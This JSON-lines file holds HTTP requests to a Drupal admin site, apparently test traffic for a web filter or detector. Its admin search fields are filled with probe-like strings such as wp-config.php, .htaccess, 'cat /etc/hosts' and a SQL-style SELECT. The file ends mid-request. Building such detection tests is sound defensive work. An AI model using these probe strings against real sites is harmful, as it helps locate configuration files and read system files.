{"method": "GET", "target": "/admin/content/comment?subject=.htaccess&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=wp-config.php&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=wp-config.php&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=wp-config.php&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=wp-config.php&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=wp-config.php&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=wp-config.php&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=docker-compose.yml&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=docker-compose.yml&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=docker-compose.yml&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=docker-compose.yml&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=docker-compose.yml&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=docker-compose.yml&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=cat%20%2Fetc%2Fhosts&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=cat%20%2Fetc%2Fhosts&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=cat%20%2Fetc%2Fhosts&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=cat%20%2Fetc%2Fhosts&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=cat%20%2Fetc%2Fhosts&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=cat%20%2Fetc%2Fhosts&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=SELECT%20rows%20FROM%20table&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=SELECT%20rows%20FROM%20table&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=SELECT%20rows%20FROM%20table&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=SELECT%20rows%20FROM%20table&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=SELECT%20rows%20FROM%20table&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=SELECT%20rows%20FROM%20table&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/add/article", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/add/page", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/revisions", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/python3-notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/taxonomy/term/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=python3+tutorial&type=All&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-wNgbewUygC9ULMoc4WLVpiOljzg8b-UFbevQU1lKKvE&form_token=PQZYrhskFDg3-YXEJlI1LMqcsi5g2Caq1winJy1aiTc&form_id=user_logout_confirm&op=Log+out"}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-PFgoUZSU-B2s6Yi6wsv6gMF8hyctFZ4jGpnB1KbbKuc&form_id=user_login_form&op=Log+in"}
{"method": "POST", "target": "/admin/modules", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": "text=&form_build_id=form-Go6Ty-vaNH5prRcXZPri8UInSJEfkCpFomJ5z7FIJeA&form_token=dpSXO0ij0wI2RSPBdwAf24WP27sJX5XdMsyNckiHRYQ&form_id=system_modules&op=Install"}
{"method": "POST", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": "read_only=rw&form_build_id=form-kZj8LFAOUYdKbamTIGwQWGeUPyZ9Pl_o7NMqCuQgRNA&form_token=U9cEhbE1Jq8CgS_JsoF1uTGkum0lp1R9dR05PQpXVIk&form_id=jsonapi_settings&op=Save+configuration"}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dcomment%3Alocation%3Dpage%26name%3Dcomment%26display_id%3Dpage_published%26langcode%3Den&tokens%5B%5D=tJYB9Yp9K7KoqCw51MrweOw1EWlIhkKnWWiqWfZwOBk"}
{"method": "POST", "target": "/admin/structure/menu/parents", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/types/manage/article", "Cookie: SESSexample=example-session-value"], "body": "menus%5B%5D=main"}
{"method": "POST", "target": "/admin/structure/views/view/content/preview/page_1?_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": "live_preview=1&view_args=&form_build_id=form-YRTiLLJme3R_EAzYjDmEPFge7ba8Rqcr0e4ufPocUHA&form_token=aoWE2rnl7MeEF8CixG6jr69agDcL4EYtVBLeif_2MmI&form_id=view_preview_form&_triggering_element_name=op&_triggering_element_value=Update+preview&_drupal_ajax=1&ajax_page_state%5Btheme%5D=claro&ajax_page_state%5Btheme_token%5D=9R7R5tkIUlJUOLq74Y2Ibs3Vzk97sOkPnSer_Xb74Kk&ajax_page_state%5Blibraries%5D=eJxVjlEKgzAQBS9kkiOVF13CtuuuJBurPX1LbRH_hmF4vMzltvBCKf9gGAXVUhHLkNB8F9YyjKZOm3dImmpfIPE04VM82ieplEabF1NSb1GxcoGzaQhuJhk15O5ueqS_HYzOK303Ln5iiJWIO7aLbw6ndlGOLDRVlMOq1RnCLxrOC-nEKNit-7AyPdutc_pDxDSzvgGedGns"}
{"method": "POST", "target": "/ckeditor5/upload-image/basic_html?token=Sus-IXsV0UwqrRe2_CrWc-iHgk_6pDumClZIZ6i-Wu0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Accept: application/json", "0: text/javascript", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAcXJMZbPBLzalDiX", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryAcXJMZbPBLzalDiX\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\n‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚\r\n------WebKitFormBoundaryAcXJMZbPBLzalDiX--\r\n"}
{"method": "POST", "target": "/node/add/article?element_parents=field_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0Ba7aU6AsCP0MAhK", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214637\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-LT5Y5U-7qf8iSfEX4mtEU7w-26XnFEmjxTB6AGmAKpw\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nHAq_JMl1Tn3xeTNd4PzFsSkcbDhCFjHl2uV2RZpF2H8\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"files[field_image_0]\"; filename=\"python3-diagram.png\"\r\nContent-Type: image/png\r\n\r\n‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" src=\"/sites/default/files/inline-images/photo.png\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; 